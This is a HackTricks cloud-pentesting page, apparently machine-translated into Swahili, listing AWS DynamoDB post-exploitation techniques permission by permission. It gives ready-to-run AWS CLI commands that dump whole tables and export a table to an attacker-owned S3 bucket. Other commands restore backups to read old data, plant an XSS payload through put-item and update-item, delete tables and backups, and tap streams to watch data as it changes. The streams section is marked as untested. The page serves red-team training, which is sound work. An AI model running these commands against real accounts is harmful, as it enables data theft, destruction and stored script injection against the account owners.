AWS - DynamoDB Post Exploitation
Reading time: 9 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
DynamoDB
Kwa maelezo zaidi angalia:
dynamodb:BatchGetItem
Mshambuliaji mwenye ruhusa hii ataweza kupata vitu kutoka kwenye meza kwa ufunguo wa msingi (huwezi tu kuomba data zote za meza). Hii inamaanisha unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (describe-table
).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
dynamodb:GetItem
Kama ruhusa za awali hii inamruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali moja tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Kwa ruhusa hii inawezekana pia kutumia njia ya transact-get-items
kama:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
dynamodb:Query
Kama ruhusa za awali hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee kinachopaswa kupatikana. Inaruhusu kutumia seti ndogo ya kulinganisha, lakini kulinganisha pekee linaloruhusiwa na ufunguo wa msingi (ambalo lazima lionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
dynamodb:Scan
Unaweza kutumia ruhusa hii kudondosha jedwali zima kwa urahisi.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
dynamodb:PartiQLSelect
Unaweza kutumia ruhusa hii kudondosha jedwali zima kwa urahisi.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Ruhusa hii pia inaruhusu kutekeleza batch-execute-statement
kama:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
lakini unahitaji kubainisha ufunguo wa msingi wenye thamani, hivyo siyo faida sana.
Athari Zinazoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Ruhusa hii itamruhusu mshambuliaji kutoa jedwali zima kwenye S3 bucket ya uchaguzi wake:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa, unaweza kuangalia kama jedwali lina hiyo kwa:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Ikiwa haijawashwa, utahitaji kuwasha na kwa hiyo unahitaji ruhusa dynamodb:ExportTableToPointInTime
:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
dynamodb:CreateTable
, dynamodb:RestoreTableFromBackup
, (dynamodb:CreateBackup)
Kwa ruhusa hizi, mshambuliaji angeweza kuunda jedwali jipya kutoka kwa nakala ya akiba (au hata kuunda akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia taarifa kutoka kwa akiba ambazo haziwezi kuwa tena katika uzalishaji jedwali.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika nakala ya meza
dynamodb:PutItem
Ruhusa hii inawawezesha watumiaji kuongeza kitu kipya kwenye meza au kubadilisha kitu kilichopo na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, kitu chote kitabadilishwa na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa mpya.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Madhara Yanayoweza Kutokea: Ukatili wa udhaifu zaidi/kuvunjika kwa sheria kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB
dynamodb:UpdateItem
Ruhusa hii inawaruhusu watumiaji kubadilisha sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee. Haifanyi mabadiliko ya kipengee chote; inasasisha tu sifa zilizotajwa. Ikiwa funguo kuu haipo katika jedwali, operesheni itafanya kuunda kipengee kipya chenye funguo kuu iliyotajwa na kuweka sifa zilizotajwa katika muktadha wa sasisho.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Madhara Yanayoweza Kutokea: Kutumiwa kwa udhaifu zaidi/kuvunjwa kwa kinga kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB
dynamodb:DeleteTable
Mshambuliaji mwenye ruhusa hii anaweza kufuta jedwali la DynamoDB, na kusababisha kupotea kwa data.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Madhara yanayoweza kutokea: Kupoteza data na kuingiliwa kwa huduma zinazotegemea meza iliyofutwa.
dynamodb:DeleteBackup
Mshambuliaji mwenye ruhusa hii anaweza kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kurejesha baada ya janga.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Madhara yanayoweza kutokea: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya kuokoa janga.
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
note
TODO: Jaribu kama hii inafanya kazi
Mshambuliaji mwenye ruhusa hizi anaweza kuwezesha mtiririko kwenye meza ya DynamoDB, kusasisha meza ili kuanza kutiririsha mabadiliko, na kisha kufikia mtiririko ili kufuatilia mabadiliko kwenye meza kwa wakati halisi. Hii inamruhusu mshambuliaji kufuatilia na kuhamasisha mabadiliko ya data, ambayo yanaweza kusababisha uvujaji wa data.
- Wezesha mtiririko kwenye meza ya DynamoDB:
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Eleza mtiririko wa kupata ARN na maelezo mengine:
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Pata iterator ya shard ukitumia ARN ya mtiririko:
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Tumia iterator ya shard kufikia na kutoa data kutoka kwa mtiririko:
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Madhara yanayoweza kutokea: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya jedwali la DynamoDB.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.